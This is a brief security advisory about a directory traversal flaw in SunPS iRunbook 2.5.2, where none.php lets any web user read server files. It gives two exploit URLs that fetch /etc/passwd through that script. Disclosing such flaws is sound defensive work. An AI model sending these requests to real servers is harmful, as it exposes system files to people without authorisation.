Directory Traversal Vulnerability in SunPS iRunbook

SUMMARY

The file none.php used in iRunbook Explorer to view files from the build snapshot can be manipulated to view any files or folders on the server providing the web server user has read access to the file and directory.

DETAILS

Vulnerable systems:

* SunPS iRunbook 2.5.2

Impact:

Any user that can access the webserver can view files and directories on the system that are usually world readable such as /etc/ and /etc/passwd.

Exploit:

View passwd file:

<http://>/content/base/build/explorer/none.php?.....:etc:passwd:>

Or

<http://>/content/base/build/explorer/none.php?/etc/passwd>
